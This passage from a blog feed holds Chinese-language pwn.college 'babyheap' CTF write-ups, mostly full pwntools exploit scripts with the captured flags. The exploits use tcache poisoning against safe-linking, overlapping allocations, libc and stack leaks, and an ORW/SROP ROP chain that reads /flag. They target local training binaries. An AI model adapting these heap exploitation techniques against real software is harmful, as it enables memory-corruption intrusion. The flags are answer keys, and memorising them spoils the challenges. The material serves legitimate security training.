    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;[LEAK] The local stack address of your allocations is at: &quot;)
    stack = int(target.recvline().strip()[:-1], 16)
    ret = stack + 0x148

    target.recvuntil(b&quot;[LEAK] The address of main is at: &quot;)
    elf.address = int(target.recvline().strip()[:-1], 16) - 0x151B

    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;pie: {hex(elf.address)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    mangled = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    heap = demangle(pos, mangled)

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;mangled: {hex(mangled)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)

    stack_mangled = mangle(pos, stack)
    scanf(0, flat(stack_mangled))

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 0)

    scanf(0, flat(ret))
    scanf(0, flat(elf.sym[&quot;win&quot;]))
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{I8R8BzpNtgq5LKv4UV3QhQYfU3h.dFTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 18.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Revisit a prior challenge, now with TCACHE safe-linking.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题就出的不好了，根本没用上 safe-linking 。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level18.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, secret)


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    mangled = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;mangled: {hex(mangled)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x3F0)

    payload = flat(
        b&quot;A&quot; * 0xBB,
        0,
        0,
    )
    scanf(0, payload)
    send_flag(flat(0, 0))
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{w9fBk2-OmoD0TO7dLtn3ypPp0RY.dJTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 18.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Revisit a prior challenge, now with TCACHE safe-linking.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-180&quot;&gt;Level 18.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level18.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, secret)


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    mangled = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;mangled: {hex(mangled)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x3F0)

    payload = flat(
        b&quot;A&quot; * 0x80,
        0,
        0,
    )
    scanf(0, payload)
    send_flag(flat(0, 0))
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{8b5lkMBpAAfr5wN2o6YrXmK9nLw.dNTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 19.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage overlapping allocations to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;Description 告诉我们需要使用 overlapping，那就先去了解一下那是个啥，我写了 &lt;a href=&quot;/posts/pwn-notes/pwn-trick-notes/#mirror-mirror-on-the-heap&quot;&gt;Mirror, Mirror on the Heap&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;然后就很简单了，篡改 inuse chunk 的 size 再输出就好了，很简单的一个概念。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level19.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_write&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    malloc(1, 0)
    read_flag()

    payload = flat(
        b&quot;A&quot; * 0x20,
        0,
        0x61,
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)

    free(1)
    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x50)
    safe_write(0)
    target.recvuntil(b&quot;pwn.college{&quot;)
    flag = target.recvline().decode()
    target.success(f&quot;pwn.college{{{flag}&quot;)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{UyW-UEWgMm10Cadm41NCv96TtqR.dRTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 19.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage overlapping allocations to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-190&quot;&gt;Level 19.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level19.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_write&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    malloc(1, 0)
    read_flag()

    payload = flat(
        b&quot;A&quot; * 0x20,
        0,
        0x61,
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)

    free(1)
    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x50)
    safe_write(0)
    target.recvuntil(b&quot;pwn.college{&quot;)
    flag = target.recvline().decode()
    target.success(f&quot;pwn.college{{{flag}&quot;)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{ou87E6zOskHpMtWjDb0XpdVk9ub.dVTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 20.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;16 bytes and a dream.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;说实话我没有 get 到这个 description 是什么意思，这 16 bytes 是指什么呢？&lt;/p&gt;
&lt;p&gt;感觉这题就是前面所有知识点的综合，并且没有提供后门函数，我选择 ret2libc 然后打 ORW，不过打法多了去了，我只是选一个自认为比较方便的打。另外，这里我除了写了普通 ORW 外还复习了一下 SROP，可以看我 exp 注释掉的部分是普通 ORW 打法。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    args,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/tcache-terror-easy&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;/challenge/lib/libc.so.6&quot;)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_write&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x410)
    malloc(1, 0)
    free(0)
    malloc(0, 0x410)
    safe_write(0)

    target.recvlines(2)
    libc.address = int.from_bytes(target.recv(0x8).strip(), &quot;little&quot;) - 0x219CE0

    free(1)
    malloc(0, 0)
    # raw_input(&quot;DEBUG&quot;)
    safe_write(0)

    target.recvlines(2)
    pos = int.from_bytes(target.recv(0x8).strip(), &quot;little&quot;)

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x41,
    )
    safe_read(0, payload)

    free(1)
    malloc(1, 0x30)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x21,
        mangle(pos, libc.sym[&quot;environ&quot;]),
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(1, payload)
    malloc(0, 0)
    malloc(0, 0)
    # raw_input(&quot;DEBUG&quot;)
    safe_write(0)

    target.recvlines(2)
    ret = int.from_bytes(target.recv(0x8).strip(), &quot;little&quot;) - 0x120
    rbp = ret - 0x8

    target.success(f&quot;libc: {hex(libc.address)}&quot;)
    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;ret: {hex(ret)}&quot;)

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0x100)
    malloc(3, 0x100)
    free(3)
    free(2)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x221,
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)

    free(1)
    malloc(1, 0x210)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x111,
        mangle(pos, ret - 0x8),
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(1, payload)

    malloc(0, 0x100)
    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x100)

    rop = ROP(libc)

    # payload = flat(
    #     # open
    #     b&quot;/flag\x00\x00\x00&quot;,
    #     rop.rdi.address,
    #     rbp,
    #     rop.rsi.address,
    #     0,
    #     rop.rax.address,
    #     constants.SYS_open,
    #     rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    #     # read
    #     rop.rdi.address,
    #     3,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     0,
    #     rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    #     # write
    #     rop.rdi.address,
    #     1,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     1,
    #     rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    # )

    frame = SigreturnFrame()

    frame.rax = constants.SYS_sendfile
    frame.rdi = 1
    frame.rsi = 3
    frame.rdx = ret + 0x18
    frame.r10 = 0x100
    frame.rip = rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0]

    payload = flat(
        # open
        b&quot;/flag\x00\x00\x00&quot;,
        rop.rdi.address,
        rbp,
        rop.rsi.address,
        0,
        rop.rax.address,
        constants.SYS_open,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        # read
        rop.rdi.address,
        0,
        rop.rsi.address,
        rbp - 0x100,
        rop.rdx.address,
        0x100,
        rop.rax.address,
        0,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        # srop
        rop.rax.address,
        0xF,
        rop.rsp.address,
        rbp - 0x100,
    )

    # raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)
    raw_input(&quot;DEBUG&quot;)
    quit()

    payload = flat(
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        frame,
    )
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{4fglWsi6vXF1cQOmxoxHe6iLybu.dZTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 20.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;16 bytes and a dream.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-200&quot;&gt;Level 20.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    args,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/tcache-terror-hard&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;/challenge/lib/libc.so.6&quot;)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_write&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x410)
    malloc(1, 0)
    free(0)
    malloc(0, 0x410)
    safe_write(0)

    libc.address = int.from_bytes(target.recv(0x8).strip(), &quot;little&quot;) - 0x219CE0

    free(1)
    malloc(0, 0)
    # raw_input(&quot;DEBUG&quot;)
    safe_write(0)

    pos = int.from_bytes(target.recv(0x8).strip(), &quot;little&quot;)

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x41,
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)

    free(1)
    malloc(1, 0x30)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x21,
        mangle(pos, libc.sym[&quot;environ&quot;]),
    )
    safe_read(1, payload)
    malloc(0, 0)
    malloc(0, 0)
    # raw_input(&quot;DEBUG&quot;)
    safe_write(0)

    ret = int.from_bytes(target.recv(0x8).strip(), &quot;little&quot;) - 0x120
    rbp = ret - 0x8

    target.success(f&quot;libc: {hex(libc.address)}&quot;)
    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;ret: {hex(ret)}&quot;)

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0x100)
    malloc(3, 0x100)
    free(3)
    free(2)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x221,
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)

    free(1)
    malloc(1, 0x210)

    payload = flat(
        b&quot;A&quot; * 0x10,
        0,
        0x111,
        mangle(pos, ret - 0x8),
    )
    # raw_input(&quot;DEBUG&quot;)
    safe_read(1, payload)

    malloc(0, 0x100)
    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x100)

    rop = ROP(libc)

    # payload = flat(
    #     # open
    #     b&quot;/flag\x00\x00\x00&quot;,
    #     rop.rdi.address,
    #     rbp,
    #     rop.rsi.address,
    #     0,
    #     rop.rax.address,
    #     constants.SYS_open,
    #     rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    #     # read
    #     rop.rdi.address,
    #     3,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     0,
    #     rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    #     # write
    #     rop.rdi.address,
    #     1,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     1,
    #     rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    # )

    frame = SigreturnFrame()

    frame.rax = constants.SYS_sendfile
    frame.rdi = 1
    frame.rsi = 3
    frame.rdx = ret + 0x18
    frame.r10 = 0x100
    frame.rip = rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0]

    payload = flat(
        # open
        b&quot;/flag\x00\x00\x00&quot;,
        rop.rdi.address,
        rbp,
        rop.rsi.address,
        0,
        rop.rax.address,
        constants.SYS_open,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        # read
        rop.rdi.address,
        0,
        rop.rsi.address,
        rbp - 0x100,
        rop.rdx.address,
        0x100,
        rop.rax.address,
        0,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        # srop
        rop.rax.address,
        0xF,
        rop.rsp.address,
        rbp - 0x100,
    )

    # raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)
    raw_input(&quot;DEBUG&quot;)
    quit()

    payload = flat(
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        frame,
    )
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{I4gOWGlF1e4mxxQJzpY65moHbAQ.ddTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;从一开始的对 heap 充满了恐惧，到现在打完这一章也算是小有成就了，真的从来没想过这一天哈哈哈。接下来就可以去打 dynamic-allocator-exploitation chapter 了，据说是 how2heap 里面各种手法的实践。感觉难度一下就上了好几个台阶，不过我已经克服恐惧了，只是不知道能不能在一个月内打完，让我们拭目以待。&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Nullcon Berlin HackIM 2025 CTF</title><link>https://cubeyond.net/posts/write-ups/nullcon-ctf-2025/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/nullcon-ctf-2025/</guid><description>Write-ups for Nullcon Berlin HackIM 2025 CTF pwn aspect.</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Fotispy 1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Spotify with a GUI? A true hacker only needs the terminal.
Note: Despite the naming, these 7 challenges can be solved in any order and do not depend on each other.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;经过分析，得到程序用的结构体大致是这样的：&lt;/p&gt;
